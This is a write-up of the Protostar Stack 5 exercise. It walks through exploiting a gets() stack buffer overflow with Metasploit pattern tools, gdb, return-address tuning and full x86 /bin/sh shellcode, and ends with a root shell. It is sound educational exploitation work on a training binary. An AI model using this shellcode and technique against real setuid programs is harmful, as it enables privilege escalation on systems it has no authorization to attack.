Exploit Exercises — Protostar Stack 5
The first four levels of protostar were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I completed it.
We have the following code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
It creates a buffer and reads into it using gets
. There’s a buffer overflow vulnerability here, because boundaries are not checked during reading into buffer
.
We begin exploitation by finding an offset to eip
. I used a script that generates a unique string, which we then pass to the executable:
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Now we generate a simple pattern.txt
file, containing generated pattern:
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt
Then we run stack5
in gdb
and use pattern.txt
as input:
$ gdb stack5
...
(gdb) r < /tmp/pattern.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
It should segfault at 0x63413563
. Now we search for these bytes in the pattern:
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76
The output above means that we need to rewrite 76 bytes before rewriting eip
.
Now we generate our test exploit, which looks like JUNK + RET + NOPS + SHELLCODE
:
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt
We can see that our nops and SHELLCODE string are at 0xbffff6a0
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x4853 0x4c45 0x434c
0xbffff6b0: 0x444f 0x0045 0xffff 0xffff 0xeff4 0xb7ff 0x8232 0x0804
0xbffff6c0: 0x0001 0x0000 0xf700 0xbfff
I tried using shellcodes I found on shellstorm. It crashed at the point where it tried to read input. My guess is that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from here. It reopens stdin
, so it should work fine.
So we modify exploit.txt
file with the correct return address and the shellcode.
$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
After running stack5
with exploit.txt
as input inside gdb
we fall into sh
:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$
The exploit worked in gdb
, but when I tried to run it from my console it gave me segfault:
$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault
After a while, I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack:
For example if we look at variables loaded in gdb
we see some artifacts:
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106
At the end, we can see two variable which is not common for normal execution. To match stacks, I just unset them using the following commands:
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
Now if we run our program in gdb
we got error like the previous one. It says we had wrong return address:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()
Now we needed to find the correct return address again. We generate new exploit.txt
with BBBB
instead of return address:
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Don’t forget to unset these environment variables:
(gdb) unset env LINES
(gdb) unset env COLUMNS
Run stack5
with our exploit.txt
file and examine stack after the program crashes:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0: 0x90909090 0x90909090 0xc0319090 0x06b0db31
0xbffff6d0: 0x685380cd 0x7974742f 0x65642f68 0x31e38976
0xbffff6e0: 0x12b966c9 0xcd05b027
Our shellcode (which has nops at the beginning) starts at 0xbffff6c0
Thus this address is a return address we need.
There’s a difference between calling ./stac5k
and /path/to/stack5
: since argv[0]
holds the program exactly how you invoked it, you need to ensure equal invocation strings. gdb
uses absolute pathes for calling programs. That’s why you need to use /path/to/stack
.
Now we can run our exploit:
$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root